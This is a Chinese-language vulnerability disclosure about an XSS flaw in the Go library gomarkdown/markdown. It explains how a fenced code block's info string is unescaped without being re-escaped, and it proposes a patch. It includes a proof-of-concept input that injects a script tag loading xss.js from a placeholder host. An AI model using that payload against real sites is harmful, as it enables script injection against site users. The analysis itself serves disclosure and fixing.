【安全漏洞】gomarkdown/markdown 项目的 XSS 漏洞产生与分析
前言
gomarkdown/markdown 是 Go 語言的一個流行模塊,它旨在快速地將 Markdown 文檔轉化為 HTML 頁面。而此次發現的漏洞,來源于作者在編寫其語法樹 Parser 的時候無意的一次 unescape。
漏洞復現
我們首先來看一段代碼。
package main import ("fmt""github.com/gomarkdown/markdown""html" ) func main() {var textToRender = "```\"1;><script/src=\"http://HOST/xss.js\"></script>\n\n```\n"var middleware = html.EscapeString(textToRender)var result = markdown.ToHTML([]byte(middleware), nil, nil)fmt.Println(string(result)) }大部分人一眼看過來,發現有 html.EscapeString 方法進行過濾,可能就跟筆者一開始一樣,認為這里一定沒什么問題。其實不然,我們可以采用 v0.0.0-20210514010506-3b9f47219fe7,也就是筆者提交 issue 之前的最新版本來試一下,看結果會怎樣。
可以發現我們原本使用 html.EscapeString 進行轉義的字符不受影響地出現在了結果中,從而導致了 script 標簽被單獨完整地渲染到 HTML,從而引入了一個外部 js 文件。更進一步的說,為 XSS 提供了完美的條件。
漏洞分析
使用上述給出的代碼進行調試,先看一個調用棧。
從 ToHTML 方法進來之后直接到 doc := Parse(markdown, p),從而進入了 Parse 這個方法。
然后就是調用到 block 方法對輸入的 Markdown 字符串進行分塊的處理。在逐一判斷到代碼塊后進入了 fencedCodeBlock 方法。
在其中將代碼塊的內容分解填入對象之后,會進入 finalizeCodeBlock 進行一個收尾工作。
跟進去之后可以發現這個方法是這樣的。
code.Info 的內容被 unescapeString 處理了一次,也就是最后得到意外結果的問題根源。接著往后跟蹤,可以發現處理后的內容被放進對象 p 后直接利用語法樹完成了渲染,最終得到 HTML 字符串,而被解碼后的內容并沒有被二次轉義。
因此,最后得到的字符串就出現了上文的問題。
漏洞的修復
由于漏洞的產生是因為解碼后沒有再次編碼,因此可以將其使用 html.EscapeString 重新處理一次,將原有的語句做如下替換。
- code.Info = unescapeString(bytes.Trim(firstLine, "\n")) + code.Info = []byte(html.EscapeString(string(unescapeString(bytes.Trim(firstLine, "\n")))))此時再重新運行一次文章開始時給出的代碼,可以得到如下結果。
<pre><code class="language-"1;><script/src="http://HOST/xss.js"></script>"> </code></pre>可以發現由于再次進行了 HTML 實體轉義,script 標簽沒有被獨立渲染,從而避免了 XSS 的產生。
有需要網絡安全相關的資料可以關注私信我哦!!!
持續更新文章
總結
以上是生活随笔為你收集整理的【安全漏洞】gomarkdown/markdown 项目的 XSS 漏洞产生与分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 简单免杀绕过和利用上线的 GoCS
- 下一篇: 快来捡武器:Black Hat USA